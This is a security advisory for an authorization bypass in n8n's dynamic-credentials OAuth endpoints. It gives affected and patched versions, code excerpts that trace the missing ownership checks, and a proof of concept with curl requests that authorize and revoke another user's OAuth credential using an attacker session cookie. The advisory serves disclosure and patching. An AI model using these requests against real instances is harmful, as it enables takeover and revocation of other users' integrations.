n8n Cross-user Authorization Bypass in Dynamic Credential OAuth Endpoints
Artemiy Malyshau3 minute readHigh 7.7Authorization bypass in n8n's dynamic-credentials OAuth endpoints allows any authenticated user to operate on another user's OAuth credential by supplying its ID, enabling unauthorized OAuth rebinding and revocation.
Advisory
- Link: https://github.com/n8n-io/n8n/security/advisories/GHSA-6h4j-wcr9-2vg7
- Affected versions: < 1.123.43, < 2.20.7, < 2.21.1
- Patched versions: 1.123.43, 2.20.7, 2.21.1
Description
The enterprise dynamic-credentials OAuth endpoints allow any authenticated n8n user to operate on another user's OAuth credential by supplying its ID. The controller loads credentials through an unscoped lookup and never verifies that the caller has permission on the target credential.
This affects the authorize and revoke endpoints used by the dynamic-credentials feature. A low-privilege authenticated user can initiate or revoke OAuth binding flows for credentials they do not own, enabling unauthorized OAuth rebinding, token revocation, and persistent takeover of shared integrations.
This issue affects enterprise instances with the dynamic credentials feature enabled.
Source - Sink Analysis
The vulnerability spans the dynamic-credentials controller, its middleware, and the OAuth callback handler.
1. Entry Point - dynamic-credentials.controller.ts: The findCredentialToUse() helper resolves the credential solely by attacker-controlled credentialId with no ownership check:
private async findCredentialToUse(credentialId: string): Promise<CredentialsEntity> {
const credential = await this.enterpriseCredentialsService.getOne(credentialId);
...
return credential;
}
2. Middleware Bypass - dynamic-credential.service.ts: The authentication middleware explicitly short-circuits the static-token gate for any request that already has req.user, meaning any authenticated session passes through without credential-level authorization:
if (req.user) {
return next();
}
3. Unscoped Lookup - credentials.service.ee.ts: EnterpriseCredentialsService.getOne() performs a raw ID lookup without user-aware access checks:
async getOne(credentialId: string) {
return await this.credentialsRepository.findOneByOrFail({ id: credentialId });
}
This bypasses the normal user-scoped credential access checks used elsewhere in n8n.
4. Callback Trust Break - oauth.service.ts: The OAuth callback handler skips user validation entirely for dynamic-credential flows:
if (decryptedState.origin === 'dynamic-credential') {
return {
...decoded,
...decryptedState,
};
}
resolveCredential() subsequently loads the credential through getCredentialWithoutUser(state.cid), preserving the authorization gap through the full OAuth lifecycle.
Proof of Concept
- Use an enterprise instance with dynamic credentials enabled.
- Create two users:
owner, who owns an OAuth credential (e.g. Google Sheets OAuth2)attacker, a low-privilege authenticated user
- Create a valid credential resolver.
- As
attacker, call the dynamic authorize endpoint against the owner's credential ID:
curl -i -X POST \
'https://<tenant>.app.n8n.cloud/rest/credentials/<owner-credential-id>/authorize?resolverId=<resolver-id>&authSource=cookie' \
-H 'Cookie: n8n-auth=<attacker-session-cookie>'
-
Observe the result:
- Expected secure behavior:
403 Forbiddenor404 Not Found - Actual vulnerable behavior: Returns an OAuth authorization URL for the foreign credential
- Expected secure behavior:
-
Similarly, revoke another user's credential:
curl -i -X POST \
'https://<tenant>.app.n8n.cloud/rest/credentials/<owner-credential-id>/revoke?resolverId=<resolver-id>&authSource=cookie' \
-H 'Cookie: n8n-auth=<attacker-session-cookie>'
The attacker can complete the OAuth flow to rebind the credential to their own external account, or revoke it to disrupt workflows depending on it.
Impact
This is a cross-user authorization bypass in an enterprise credential-management feature. Any authenticated user who can reach the dynamic-credentials endpoints can operate on OAuth credentials they do not own if they know the credential ID and a valid resolver ID.
Depending on the credential type and resolver flow, exploitation enables:
- Unauthorized OAuth rebinding — replacing a victim's OAuth token with one bound to the attacker's external account
- Token revocation — disrupting workflows by revoking OAuth tokens for credentials the attacker doesn't own
- Persistent integration takeover — workflows relying on the affected credential execute under the attacker's OAuth identity, enabling data exfiltration to attacker-controlled services
- Lateral movement — compromising integrations connected to sensitive external services (Google Workspace, Slack, GitHub, etc.)
Exploitability conditions:
- Enterprise/team deployment with dynamic credentials enabled
- Attacker knows a target credential ID and valid resolver ID
- Attacker has any authenticated session on the instance
n8n (verified in: 2.14.0) CWE-639: Authorization Bypass Through User-Controlled Key CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N
Product
n8n
Vendor
n8n-io
Version
< 1.123.43, < 2.20.7, < 2.21.1
CVSS
7.7




